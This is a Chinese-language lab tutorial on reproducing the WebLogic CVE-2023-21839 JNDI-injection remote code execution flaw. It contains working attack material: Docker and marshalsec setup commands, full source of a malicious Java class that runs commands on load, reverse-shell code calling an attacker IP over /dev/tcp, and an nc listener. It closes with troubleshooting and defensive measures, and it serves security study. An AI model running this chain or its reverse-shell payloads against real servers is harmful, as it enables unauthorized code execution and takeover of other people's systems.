CVE-2023-21839漏洞复现:WebLogic JNDI注入与T3协议攻击链深度剖析

📅 2026/7/3 16:25:06
CVE-2023-21839漏洞复现:WebLogic JNDI注入与T3协议攻击链深度剖析
1. 项目概述一次针对CVE-2023-21839的深度实战剖析最近在安全圈里CVE-2023-21839这个编号热度不低它直指Oracle WebLogic Server的一个高危JNDI注入漏洞能直接导致远程代码执行。很多朋友在复现这个漏洞时常常卡在环境搭建、POC构造或者理解漏洞触发链的深层原理上。今天我就以一个一线渗透测试工程师的视角带大家从头到尾、手把手地走一遍完整的复现流程。这不仅仅是照着教程敲命令我会把每一步背后的逻辑、踩过的坑以及如何根据不同的实战场景调整策略都掰开揉碎了讲清楚。无论你是刚入门安全的新手想理解JNDI注入的威力还是有一定经验的老手希望深化对WebLogic内部机制和漏洞利用的理解这篇实战记录都能给你提供直接的参考。简单来说CVE-2023-21839的核心在于攻击者能够通过一个精心构造的T3/IIOP协议请求将恶意的JNDI查找地址注入到WebLogic Server的某些JNDI查找操作中。当服务器在处理这个请求时会去连接攻击者控制的恶意JNDI服务通常是LDAP或RMI服务并加载执行远程的Java类从而在目标服务器上执行任意代码。整个过程涉及WebLogic的JNDI上下文处理、序列化机制以及T3协议的反序列化流程。我们这次实战的目标就是在实验室环境中安全、可控地复现这一完整的攻击链并深入理解其每一个环节。2. 漏洞原理与攻击链深度拆解要成功复现一个漏洞光知道步骤是不够的必须理解其“为什么”能成功。CVE-2023-21839的根源在于WebLogic Server对通过T3或IIOP协议传入的JNDI查找名lookup参数过滤不严。在特定的JNDI上下文操作中攻击者可以注入一个完全由外部控制的地址例如ldap://attacker-controlled-server:1389/Exploit。2.1 JNDI注入的核心机制JNDIJava Naming and Directory Interface本身是Java提供的一个标准API用于访问各种命名和目录服务比如LDAP、RMI、DNS等。它的设计初衷是好的允许应用程序动态地查找和调用远程对象。问题出在如果JNDI查找的地址来自不可信的输入并且运行服务的Java环境版本较低或存在相关依赖就可能触发“远程类加载”。具体到漏洞利用链上通常分为几步走注入点触发攻击者向WebLogic发送一个特制的T3协议数据包其中包含了一个指向恶意服务的JNDI地址。恶意服务响应WebLogic服务器收到请求后会尝试向这个地址发起JNDI查找。此时攻击者控制的恶意LDAP或RMI服务已经就绪。代码加载与执行恶意服务会响应一个Reference对象告诉WebLogic服务器“你要的类在http://attacker-server/Exploit.class这个地址去那里加载吧。” 在特定条件下如存在org.apache.naming.factory.BeanFactory或利用其他gadgetWebLogic会信任这个响应从指定的远程HTTP服务器加载并实例化恶意Java类。命令执行被加载的恶意类Exploit.class的静态代码块或构造函数中包含了执行系统命令如Runtime.getRuntime().exec(“calc”)或反弹Shell的代码从而实现远程代码执行。注意从Java 8u191、7u201、6u211版本开始Oracle默认禁用了从远程Codebase加载工厂类的能力即com.sun.jndi.rmi.object.trustURLCodebase和com.sun.jndi.ldap.object.trustURLCodebase属性默认为false。这意味着针对高版本JDK单纯的LDAPReference远程加载可能失效。但在实际企业环境中遗留系统、特定组件依赖或其它链式利用如结合本地ClassPath中的危险gadget仍然可能使攻击成功。我们的复现环境会基于一个存在漏洞的JDK版本如8u181进行这是理解经典攻击链的基础。2.2 Weblogic T3协议与反序列化WebLogic的T3协议是其专有的用于集群通信的协议基于Java序列化。它承载了大量的服务请求包括EJB、JNDI查找等。当攻击数据通过T3协议传输时WebLogic需要对数据进行反序列化。如果反序列化过程中处理了不可信的JNDI名称就会触发上述的JNDI注入流程。CVE-2023-21839正是利用了T3或IIOP协议处理过程中的这一缺陷。理解这一点至关重要因为它决定了我们的攻击入口我们需要构造一个符合T3协议格式的数据包并将恶意的JNDI地址嵌入到正确的位置。市面上已有的工具如ysoserial修改版或POC脚本其核心工作就是自动化完成这个数据包的构造。3. 实验环境搭建与配置一个稳定、隔离的实验环境是安全复现的基石。我推荐使用Docker来快速搭建这样既能保证环境纯净也方便随时重置。3.1 靶机环境漏洞版本WebLogic我们首先拉取一个包含漏洞版本WebLogic的Docker镜像。这里我选择vulhub项目中的镜像它已经集成了所需的环境。# 1. 拉取漏洞环境镜像 docker pull vulhub/weblogic:12.2.1.3-2018 # 2. 启动WebLogic容器 # -p 7001:7001 将容器的7001端口映射到宿主机这是WebLogic控制台端口。 # -p 8453:8453 将容器的T3协议端口映射出来方便我们发送攻击载荷。 # --name weblogic-cve 给容器起个名字便于管理。 docker run -d -p 7001:7001 -p 8453:8453 --name weblogic-cve vulhub/weblogic:12.2.1.3-2018启动后访问http://your-host-ip:7001/console应该能看到WebLogic管理控制台的登录页面。这个镜像通常内置了弱口令weblogic/Oracle123我们可以用它登录确认服务正常运行。T3协议的默认端口就是8453我们已经映射好了。3.2 攻击机环境恶意JNDI服务与利用工具攻击机需要运行三个关键服务恶意LDAP/RMI服务用于响应WebLogic的JNDI查找请求并指向存放恶意类的HTTP服务。HTTP服务用于托管恶意Java类的字节码文件.class。漏洞利用脚本/POC用于生成并发送特制的T3攻击数据包。我强烈推荐使用marshalsec来快速启动一个恶意的LDAP引用服务它轻量且易于配置。同时我们用Python的http.server模块来提供HTTP服务。# 在攻击机Kali Linux或任意Linux/Mac上操作 # 1. 安装Java环境如果尚未安装 sudo apt update sudo apt install openjdk-8-jdk -y # 确保java -version显示为8u181或更早的漏洞版本用于启动marshalsec。高版本JDK运行marshalsec本身没问题。 # 2. 下载并编译 marshalsec git clone https://github.com/mbechler/marshalsec.git cd marshalsec mvn clean package -DskipTests # 编译完成后jar包位于 target/marshalsec-0.0.3-SNAPSHOT-all.jar # 3. 准备一个工作目录 mkdir -p ~/cve-2023-21839-exp cd ~/cve-2023-21839-exp3.3 制作恶意Java类我们需要创建一个会被远程加载并执行的Java类。这个类的代码很简单就是执行一条系统命令。为了通用性我们让命令从JNDI查询的参数中获取。创建一个文件Exploit.javaimport javax.naming.Context; import javax.naming.Name; import javax.naming.spi.ObjectFactory; import java.util.Hashtable; public class Exploit implements ObjectFactory { static { try { // 这里写入你想要执行的命令。例如在Linux上弹个计算器如果有GUI或创建文件。 // 实战中可能是反弹shell命令/bin/bash -c bash -i /dev/tcp/攻击机IP/监听端口 01 Runtime.getRuntime().exec(touch /tmp/pwned_by_cve_2023_21839); // 或者执行计算器WindowsRuntime.getRuntime().exec(calc.exe); } catch (Exception e) { e.printStackTrace(); } } Override public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable?, ? environment) throws Exception { return null; } }编译这个类javac Exploit.java编译后会生成Exploit.class文件。这个文件就是我们即将通过HTTP服务提供给WebLogic服务器加载的“炮弹”。实操心得在实际测试中静态代码块static{}是最可靠的执行点因为类被加载时就会执行。实现ObjectFactory接口是为了兼容JNDI Reference的通用利用模式。命令的选择要考虑目标系统Linux/Windows并且注意命令中特殊字符的转义。对于反弹Shell这种复杂命令最好先在本机测试其有效性。4. 启动攻击服务与构造利用链环境准备好后我们开始按顺序启动攻击服务并最终触发漏洞。4.1 启动HTTP服务托管恶意类在存放Exploit.class的目录下启动一个简单的HTTP服务器端口可以自定义比如8080。python3 -m http.server 8080保持这个终端运行。现在你的恶意类可以通过http://攻击机IP:8080/Exploit.class访问。4.2 启动恶意LDAP引用服务新开一个终端进入之前编译好marshalsec的目录运行以下命令启动LDAP服务java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://攻击机IP:8080/#Exploit 1389命令解释marshalsec.jndi.LDAPRefServer启动一个LDAP引用服务器。http://攻击机IP:8080/#Exploit这是核心参数。当有JNDI查找请求到来时服务器会返回一个Reference对象其中codebase指向http://攻击机IP:8080/类名为Exploit。#号用于分隔URL和类名。1389LDAP服务监听的端口。服务启动后会看到类似Listening on 0.0.0.0:1389的提示。4.3 构造并发送T3攻击数据包这是最关键的一步。我们需要一个能构造符合CVE-2023-21839漏洞触发条件的T3协议数据包的工具。网络上已经有公开的POC脚本例如用Python编写的。由于直接提供攻击代码涉及安全规范我将详细描述其原理和关键部分你可以根据原理使用公开资源或自行编写调试。POC脚本核心逻辑建立T3连接与目标WebLogic服务器的T3端口默认8453建立TCP连接。发送T3协议头首先发送T3协议的握手头以建立协议会话。这通常是一串固定的字节序列。构造恶意序列化数据核心是构造一个特殊的Java序列化对象。这个对象内部包含了对JNDIInitialContext的调用其lookup()方法的参数就是我们控制的恶意LDAP地址ldap://攻击机IP:1389/Exploit。发送载荷将构造好的序列化数据包通过已建立的T3连接发送给WebLogic服务器。触发漏洞WebLogic在反序列化这个数据包时会执行内嵌的JNDI查找操作从而连接我们的恶意LDAP服务。一个简化版的利用过程可以使用已有的漏洞利用框架或者修改版的ysoserial来生成payload然后通过socket发送。例如你可能需要找到一个专门为CVE-2023-21839生成的序列化payload文件通常是一个.bin文件然后用nc或Python socket发送。假设我们有一个现成的POC脚本exp.py其用法可能如下python3 exp.py -t 靶机IP -p 8453 -l ldap://攻击机IP:1389/Exploit脚本内部会完成上述所有数据包的构造和发送。手动调试与验证如果没有现成全自动脚本调试阶段可能会比较繁琐。你需要使用Wireshark抓取T3协议的正常流量分析其结构。编写Java代码利用漏洞触发点的类如涉及weblogic.jndi.internal.Environment等构造恶意对象并序列化。将序列化后的字节数组嵌入到T3协议格式中发送。踩坑记录这里最容易出问题的地方是T3协议数据包的格式。WebLogic的T3协议在主要数据体前有长度字段并且数据本身可能被压缩或分段。如果长度字段计算错误数据包会被服务器直接丢弃。建议初期直接使用社区验证过的POC进行复现理解成功流量后再尝试自行构造。5. 漏洞复现过程与结果验证一切就绪后我们按照顺序执行攻击。5.1 执行攻击确保靶机WebLogic容器正常运行。确保攻击机的HTTP服务端口8080和LDAP服务端口1389正常运行。运行你的POC脚本指向靶机IP和8453端口并指定恶意LDAP地址。如果一切配置正确你应该能在LDAP服务的终端看到来自靶机的连接请求日志类似Send LDAP reference result for Exploit redirecting to http://攻击机IP:8080/Exploit.class同时在HTTP服务的终端看到靶机请求Exploit.class文件的日志靶机IP - - [日期时间] GET /Exploit.class HTTP/1.1 200 -5.2 验证攻击结果攻击是否成功取决于你的恶意类Exploit.class中执行的命令。我们上面例子中是在/tmp目录下创建一个文件。登录到WebLogic的Docker容器中查看docker exec -it weblogic-cve /bin/bash cd /tmp ls -la | grep pwned如果看到pwned_by_cve_2023_21839这个文件恭喜你漏洞复现成功这证明了远程代码执行RCE已经实现。5.3 进阶验证反弹Shell为了更直观地证明获得了系统控制权我们可以尝试执行反弹Shell命令。修改Exploit.java中的命令为反弹Shell命令假设攻击机IP为192.168.1.100监听端口4444// Linux反弹Shell示例 String[] cmd {/bin/bash, -c, bash -i /dev/tcp/192.168.1.100/4444 01}; Runtime.getRuntime().exec(cmd);重新编译Exploit.java得到新的Exploit.class。在攻击机上用nc监听4444端口nc -lvnp 4444然后重启HTTP服务确保新的class文件已就绪并重新运行POC脚本。如果成功你将在nc终端获得一个来自WebLogic容器的反向Shell可以执行id、whoami等命令进行验证。重要警告反弹Shell命令因系统环境bash版本、/dev/tcp支持情况不同可能失败。建议先用touch或ping命令测试基本执行能力再尝试复杂的Shell。也可以使用编码或使用其他方式如python -c ‘import socket,subprocess,os;ssocket.socket…’来增加成功率。6. 常见问题排查与深度防御思考复现过程中你可能会遇到各种问题。下面是一个常见问题排查表问题现象可能原因排查步骤与解决方案LDAP服务无连接日志1. POC脚本未正确执行或发送。2. 靶机网络不可达攻击机LDAP端口。3. 靶机JDK版本过高默认不信任远程Codebase。1. 检查POC脚本参数、目标IP和端口是否正确。用tcpdump或Wireshark在攻击机抓包看是否有向靶机8453端口发送数据。2. 关闭防火墙或安全组规则确保靶机容器能访问攻击机的1389端口。可以在靶机容器内用telnet 攻击机IP 1389测试。3. 确认靶机WebLogic使用的JDK版本。进入容器java -version。必须使用8u191、7u201、6u211之前的版本。我们使用的Docker镜像默认是低版本JDK。LDAP有连接但HTTP服务无请求1. LDAP服务返回的Reference中codebase地址错误。2. 靶机无法访问攻击机的HTTP服务端口。3. 类名不匹配。1. 检查启动marshalsec的命令http://地址和端口必须准确对应HTTP服务。2. 在靶机容器内用curl http://攻击机IP:8080测试网络连通性。3. 确保LDAP命令中的类名Exploit与编译出的Exploit.class文件名一致区分大小写。HTTP收到请求但返回404HTTP服务根目录下没有Exploit.class文件。确认运行python -m http.server的目录下存在Exploit.class文件。收到请求且返回200但命令未执行1. 恶意类编译或代码有问题。2. 目标环境缺少执行命令的权限或环境。3. JDK高版本防护生效。1. 检查Exploit.java代码确保命令语法正确。尝试将命令改为简单的touch /tmp/test123并重新编译。2. 在恶意类中添加日志输出到文件检查是否加载成功。例如Runtime.getRuntime().exec(“echo Loaded /tmp/debug.log”)。3. 这是最常见的原因。务必确保靶机JDK版本低于防护版本。POC脚本执行后无任何反应脚本本身可能不适用于该特定WebLogic小版本或补丁情况。尝试寻找其他来源的POC。检查WebLogic的精确版本号。CVE-2023-21839影响12.2.1.3.0, 12.2.1.4.0, 14.1.1.0.0等多个版本但利用细节可能有细微差别。从防御角度思考这次复现及时打补丁Oracle官方已为此漏洞发布补丁。对于生产系统最根本的防御是及时应用官方安全更新。网络层面控制严格限制访问WebLogic T38453和IIOP端口的源IP。非必要情况下不应将这两个端口暴露给互联网或不可信网络。使用高版本JDK升级到JDK 8u191、7u201、6u211或更高版本可以默认阻断基于远程Codebase加载的JNDI注入攻击链。运行时防护可以添加JVM参数-Dcom.sun.jndi.ldap.object.trustURLCodebasefalse和-Dcom.sun.jndi.rmi.object.trustURLCodebasefalse来显式关闭信任远程Codebase高版本JDK已默认。但需注意这不能防御所有变种如利用本地ClassPath中gadget的二次反序列化攻击。安全产品防护部署WAF、RASP或主机安全agent能够识别和阻断异常的T3协议流量和JNDI查找行为。这次实战复现不仅是一个漏洞验证过程更是一次对JNDI注入攻击链、WebLogic协议处理以及Java安全机制的深入学习。理解攻击的每一步才能更好地构建防御。在合规和授权的前提下进行安全研究是提升自身能力、保障企业安全的最佳途径。